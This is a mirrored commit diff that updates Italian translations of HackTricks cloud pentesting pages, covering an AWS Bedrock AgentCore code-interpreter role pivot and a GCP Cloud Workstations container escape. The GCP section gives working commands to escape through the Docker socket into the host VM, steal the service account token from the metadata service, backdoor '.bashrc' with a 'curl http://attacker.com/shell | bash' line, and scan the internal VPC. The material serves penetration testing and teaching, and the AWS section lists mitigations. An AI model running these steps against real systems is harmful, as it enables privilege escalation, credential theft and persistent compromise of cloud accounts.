mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat
This commit is contained in:
Translator
@@ -6,32 +6,32 @@
|
||||
|
||||
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
|
||||
|
||||
AgentCore Code Interpreter è un ambiente di esecuzione gestito. I **Custom Code Interpreters** possono essere configurati con un **`executionRoleArn`** che “fornisce permessi al code interpreter per accedere ai servizi AWS”.
|
||||
AgentCore Code Interpreter è un ambiente di esecuzione gestito. **Custom Code Interpreters** possono essere configurati con un **`executionRoleArn`** che “fornisce permessi al code interpreter per accedere ai servizi AWS”.
|
||||
|
||||
Se un **IAM principal con minori privilegi** può **start + invoke** una sessione di Code Interpreter configurata con un **execution role più privilegiato**, il chiamante può effettivamente **pivotare nei permessi dell'execution role** (lateral movement / privilege escalation a seconda dell’ambito del ruolo).
|
||||
Se un **IAM principal con privilegi inferiori** può **start + invoke** una sessione di Code Interpreter configurata con un **execution role** più privilegiato, il chiamante può effettivamente **pivot into the execution role’s permissions** (lateral movement / privilege escalation a seconda dell'ambito del ruolo).
|
||||
|
||||
> [!NOTE]
|
||||
> Tipicamente questo è un problema di **misconfiguration / excessive permissions** (concessione di permessi troppo ampi all'interpreter execution role e/o concessione di ampio accesso invoke).
|
||||
> AWS avvisa esplicitamente di evitare privilege escalation assicurando che gli execution role abbiano **pari o minori** privilegi rispetto alle identità autorizzate a invoke.
|
||||
> Questo è tipicamente un problema di **misconfiguration / excessive permissions** (concessione di permessi estesi all'execution role dell'interprete e/o concessione di ampio accesso invoke).
|
||||
> AWS avverte esplicitamente di evitare privilege escalation assicurandosi che gli execution role abbiano **permessi pari o inferiori** rispetto alle identità autorizzate a invoke.
|
||||
|
||||
#### Prerequisiti (errata configurazione comune)
|
||||
#### Precondizioni (misconfigurazione comune)
|
||||
|
||||
- Esiste un **custom code interpreter** con un **execution role** sovra-privilegiato (es.: accesso a S3/Secrets/SSM sensibili o capacità simili ad IAM-admin).
|
||||
- Un utente (developer/auditor/identità CI) ha i permessi per:
|
||||
- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- Esiste un **custom code interpreter** con un **execution role** eccessivamente privilegiato (es: accesso a S3/Secrets/SSM sensibili o capacità simili a IAM-admin).
|
||||
- Un utente (developer/auditor/CI identity) ha i permessi per:
|
||||
- avviare sessioni: `bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- invocare strumenti: `bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- (Opzionale) L'utente può anche creare interpreter: `bedrock-agentcore:CreateCodeInterpreter` (gli permette di creare un nuovo interpreter configurato con un execution role, a seconda delle guardrail organizzative).
|
||||
|
||||
#### Recon (identify custom interpreters and execution role usage)
|
||||
|
||||
Elenca i custom interpreters (control-plane) e ispeziona la loro configurazione:
|
||||
Elencare gli interpreters (control-plane) e ispezionarne la configurazione:
|
||||
```bash
|
||||
aws bedrock-agentcore-control list-code-interpreters
|
||||
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
|
||||
````
|
||||
> Il comando create-code-interpreter supporta `--execution-role-arn` che definisce i permessi AWS che avrà l'interprete.
|
||||
> Il comando create-code-interpreter supporta `--execution-role-arn` che definisce quali permessi AWS avrà l'interpreter.
|
||||
|
||||
#### Passo 1 - Avviare una sessione (questo restituisce un `sessionId`, non una shell interattiva)
|
||||
#### Passo 1 - Avvia una sessione (questo restituisce un `sessionId`, non una shell interattiva)
|
||||
```bash
|
||||
SESSION_ID=$(
|
||||
aws bedrock-agentcore start-code-interpreter-session \
|
||||
@@ -43,9 +43,9 @@ aws bedrock-agentcore start-code-interpreter-session \
|
||||
|
||||
echo "SessionId: $SESSION_ID"
|
||||
```
|
||||
#### Passo 2 - Invocare l'esecuzione del codice (Boto3 o HTTPS firmato)
|
||||
#### Passo 2 - Invocare l'esecuzione del codice (Boto3 o signed HTTPS)
|
||||
|
||||
Non esiste una **shell python interattiva** da `start-code-interpreter-session`. L'esecuzione avviene tramite **InvokeCodeInterpreter**.
|
||||
Non esiste una **interactive python shell** da `start-code-interpreter-session`. L'esecuzione avviene tramite **InvokeCodeInterpreter**.
|
||||
|
||||
**Opzione A - Esempio Boto3 (eseguire Python + verificare l'identità):**
|
||||
```python
|
||||
@@ -68,9 +68,9 @@ arguments={
|
||||
for event in resp.get("stream", []):
|
||||
print(event)
|
||||
```
|
||||
Se l'interpreter è configurato con un execution role, l'output di `sts:GetCallerIdentity()` dovrebbe riflettere l'identità di quel role (non il low-priv caller), dimostrando il pivot.
|
||||
Se l'interprete è configurato con un ruolo di esecuzione, l'output di `sts:GetCallerIdentity()` dovrebbe riflettere l'identità di quel ruolo (non del chiamante con privilegi ridotti), dimostrando il pivot.
|
||||
|
||||
**Opzione B - Chiamata HTTPS firmata (awscurl):**
|
||||
**Opzione B - chiamata HTTPS firmata (awscurl):**
|
||||
```bash
|
||||
awscurl -X POST \
|
||||
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
|
||||
@@ -89,16 +89,16 @@ awscurl -X POST \
|
||||
```
|
||||
#### Impatto
|
||||
|
||||
* **Lateral movement** nell'accesso AWS concesso al ruolo di esecuzione dell'interprete.
|
||||
* **Privilege escalation** se il ruolo di esecuzione dell'interprete è più privilegiato del chiamante.
|
||||
* Rilevamento più difficile se CloudTrail data events per le invocazioni dell'interprete non sono abilitati (le invocazioni potrebbero non essere registrate di default, a seconda della configurazione).
|
||||
* **Lateral movement** verso qualsiasi accesso AWS di cui dispone il ruolo di esecuzione dell'interprete.
|
||||
* **Privilege escalation** se il ruolo di esecuzione dell'interprete ha privilegi superiori rispetto al chiamante.
|
||||
* Rilevamento più difficile se i CloudTrail data events per le invocazioni dell'interprete non sono abilitati (le invocazioni potrebbero non essere registrate di default, a seconda della configurazione).
|
||||
|
||||
#### Mitigazioni / Hardening
|
||||
|
||||
* **Least privilege** sull'`executionRoleArn` dell'interprete (trattalo come i ruoli di esecuzione Lambda / i ruoli CI).
|
||||
* **Least privilege** sul `executionRoleArn` dell'interprete (trattalo come i ruoli di esecuzione Lambda / i ruoli CI).
|
||||
* **Restringere chi può invocare** (`bedrock-agentcore:InvokeCodeInterpreter`) e chi può avviare sessioni.
|
||||
* Usa **SCPs** per negare InvokeCodeInterpreter eccetto per i ruoli runtime agent approvati (può essere necessario enforcement a livello org).
|
||||
* Abilitare appropriati **CloudTrail data events** per AgentCore dove applicabile; allertare su invocazioni inaspettate e creazione di sessioni.
|
||||
* Usare **SCPs** per negare InvokeCodeInterpreter eccetto per ruoli runtime agent approvati (potrebbe essere necessaria l'applicazione a livello di organizzazione).
|
||||
* Abilitare gli appropriati **CloudTrail data events** per AgentCore dove applicabile; generare alert su invocazioni inaspettate e sulla creazione di sessioni.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
|
||||
### Container Breakout via Docker Socket (Container -> VM -> Project)
|
||||
|
||||
Il principale percorso di escalation dei privilegi in Cloud Workstations deriva dalla necessità di supportare i workflow **Docker-in-Docker (DinD)** per gli sviluppatori. Quando la configurazione della workstation monta il Docker socket o consente privileged containers (configurazione comune), un attaccante all'interno del container della workstation può evadere verso il Compute Engine VM sottostante e rubare il suo service account token.
|
||||
Il principale percorso di escalation dei privilegi in Cloud Workstations deriva dalla necessità di supportare i workflow **Docker-in-Docker (DinD)** per gli sviluppatori. Quando la configurazione della workstation monta il Docker socket o permette privileged containers (configurazione comune), un attaccante all'interno del container della workstation può escape alla Compute Engine VM sottostante e rubare il service account token.
|
||||
|
||||
**Prerequisiti:**
|
||||
- Accesso a un terminale di Cloud Workstation (via SSH, sessione compromessa o credenziali rubate)
|
||||
@@ -12,11 +12,11 @@ Il principale percorso di escalation dei privilegi in Cloud Workstations deriva
|
||||
**Contesto architetturale:** La workstation è un container (Layer 3) in esecuzione su un runtime Docker/Containerd (Layer 2) su una GCE VM (Layer 1). Il Docker socket dà accesso diretto al container runtime dell'host.
|
||||
|
||||
> [!NOTE]
|
||||
> Lo strumento [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatizza l'intera fuga dal container e fornisce una shell root sulla VM host.
|
||||
> Lo strumento [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatizza l'intero container escape e ti apre una root shell sulla host VM.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Passo 1: Verifica della presenza del Docker socket</summary>
|
||||
<summary>Passo 1: Controlla la presenza del Docker socket</summary>
|
||||
```bash
|
||||
# Verify the Docker socket is available
|
||||
ls -l /var/run/docker.sock
|
||||
@@ -28,7 +28,7 @@ ls -l /var/run/docker.sock
|
||||
|
||||
<summary>Passo 2: Escape al filesystem della VM host</summary>
|
||||
|
||||
Avviamo un container privilegiato, montando la directory root dell'host in `/mnt/host`. Condividiamo inoltre la rete dell'host e il namespace PID per massimizzare la visibilità.
|
||||
Avviamo un container privilegiato, montando la directory root dell'host su `/mnt/host`. Condividiamo inoltre la rete dell'host e il PID namespace per massimizzare la visibilità.
|
||||
```bash
|
||||
# Spawn a privileged container mounting the host's root filesystem
|
||||
docker run -it --rm --privileged --net=host --pid=host \
|
||||
@@ -38,13 +38,13 @@ alpine sh
|
||||
# Inside the new container, chroot into the host
|
||||
chroot /mnt/host /bin/bash
|
||||
```
|
||||
Ora hai una **root shell sul Compute Engine VM sottostante** (Layer 1).
|
||||
Ora hai una **root shell sulla Compute Engine VM sottostante** (Layer 1).
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Passo 3: Rubare il VM service account token dall'IMDS</summary>
|
||||
<summary>Passo 3: Rubare il token del service account della VM da IMDS</summary>
|
||||
```bash
|
||||
# From the host VM, query the Instance Metadata Service
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
@@ -61,16 +61,16 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> **Controlla gli access scopes!**
|
||||
> Anche se il Service Account associato è **Editor**, la VM potrebbe essere limitata dagli access scopes.
|
||||
> **Controlla gli Scopes!**
|
||||
> Anche se il Service Account allegato è **Editor**, la VM potrebbe essere limitata dagli access scopes.
|
||||
> Se vedi `https://www.googleapis.com/auth/cloud-platform`, hai accesso completo.
|
||||
> Se vedi solo `logging.write` e `monitoring.write`, sei limitato ai vettori **Network Pivot** e **Persistence** riportati sotto.
|
||||
> Se vedi solo `logging.write` e `monitoring.write`, sei limitato ai vettori **Network Pivot** e **Persistence** qui sotto.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Passo 4: Achieve Persistence (Backdoor the User)</summary>
|
||||
|
||||
Cloud Workstations montano un disco persistente in `/home/user`. Poiché l'utente del container (di solito `user`, UID 1000) corrisponde all'utente host (UID 1000), puoi scrivere nella home directory dell'host. Questo ti permette di backdoor the environment anche se il workstation container viene ricostruito.
|
||||
Cloud Workstations montano un disco persistente in `/home/user`. Poiché l'utente del container (di solito `user`, UID 1000) corrisponde all'utente dell'host (UID 1000), puoi scrivere nella home directory dell'host. Questo ti permette di backdoor the environment anche se il workstation container viene ricostruito.
|
||||
```bash
|
||||
# Check if you can write to the host's persistent home
|
||||
ls -la /mnt/host/home/user/
|
||||
@@ -83,11 +83,9 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Passo 5: Network Pivot (Accesso alla VPC interna)</summary>
|
||||
<summary>Passo 5: Network Pivot (Internal VPC Access)</summary>
|
||||
|
||||
Poiché condividi lo spazio dei nomi di rete dell'host (`--net=host`), ora sei un nodo fidato nella VPC. Puoi scansionare i servizi interni che consentono l'accesso in base a whitelist di IP.
|
||||
|
||||
</details>
|
||||
Poiché condividi il network namespace dell'host (`--net=host`), ora sei un nodo attendibile nella VPC. Puoi scansionare i servizi interni che consentono l'accesso tramite IP whitelisting.
|
||||
```bash
|
||||
# Install scanning tools on the host (if internet access allows)
|
||||
apk add nmap
|
||||
|
||||
Reference in New Issue
Block a user